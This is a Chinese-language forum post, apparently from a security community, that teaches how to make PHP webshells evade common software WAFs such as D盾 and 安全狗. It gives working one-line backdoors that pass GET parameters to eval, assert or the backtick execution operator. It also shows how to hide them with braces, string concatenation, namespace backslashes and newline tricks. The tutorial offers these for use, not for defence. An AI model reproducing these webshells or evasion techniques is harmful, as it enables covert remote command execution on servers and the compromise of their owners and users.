-
-
[原创] webshell免杀中符号的妙用
-
发表于: 2022-9-29 14:35 8302
-
webshell免杀中符号的妙用
前言
提到webshell免杀,方法无外乎对静态特征的变形,编码,或利用语言特性绕过。
计算机中有很多符号,它们在编程语言中占据一席之地,这些符号作为运算符号,标识符号或起到特殊含义。
本文以PHP为例介绍一些利用符号免杀方法。
免杀
WAF检测
通过对安全狗、护卫神、D盾等常见软WAF的测试,发现WAF查杀主要依赖两种检测方法
1.静态检测:通过匹配特征来查找webshell。如危险函数,文件特征码等。
2.语法语义检测:通过对语法语义的分析,通过对代码抽丝剥茧实现对危险函数捕捉,例如: 危险函数(可控参数)
括号
圆括号: 在编程中,主要用在表达式、函数参数、指针定义等方面
方括号:一般用于定义数组
花括号: 定义变量处理,字符串变量后面有{ }相当于数组、规定作用域
在变量间接引用中进行定界,避免歧义。例如 \${\$my_var[8]}与\${\$my_var}[8]的区分
1 2 | ${xxx} 括起来的要当成变量处理。 $a{ 4 } 和中括号[]一样都是把某个字符串变量当成数组处理 |
利用花括号的特性,在双引号对声明变量,并利用圆括号干扰waf对语法的检测
1 2 3 | <?php $_ = $_GET[ 'pass' ]; $white = "(${eval($_)})" ; |
引号
单引号:被单引号包裹的特殊字符将无意义,内容将作为字符串。
双引号:与单引号类似,但被包裹中的特殊符号将会解析,例如 $ 符号
反引号:执行运算符,在多数语言中可进行执行命令。php中(执行运算符)与shell_exec函数等同
在php语言的特性中,双引号内的变量会被解析。
这时$b的值为 assert,可利用php的此特性进行拼接字符或是绕过语法。
1 2 | $a = "s" . "e" . "r" ; $b = "as$a" . 't' ; |
利用执行运算符执行命令,避免了检测危险函数实现免杀。
1 2 3 | function fun($p){ echo `$p`; } $a = $_GET[ 'x' ]; fun($a); |
斜线
反斜线: 反斜线一般是起到转义字符作用。
例如
1 2 3 4 5 6 | \ " 双引号 " \\ 反斜线 \ \n 换行 \r 送出 \t 跳位(TAB) \\$ 表示 $ |
反斜线 在php中还有一种用法,就是命名空间
函数前加“\”反斜线调用命名空间下的函数,如果单独使用,就是调用根命名空间
利用用命名空间干扰函数的特征,\n来干扰对语法的检测
1 2 3 4 5 | <?php $a = $_GET[ 'a' ]; $b = "\n" ; \ assert ($b. = $a); ?> |
引申
那么是否还有其它符号可以免杀?下面以php为例再介绍几种符号:
1 2 3 4 | ^ :(xor)异或运算符 ~ :( not )取反运算符 + + :递增运算符 - - : 递减运算符 |
总结
上文简单介绍了一些符号在免杀中的用法,只要摸透了WAF的脾气(查杀原理),绕过的方法也就层出不穷。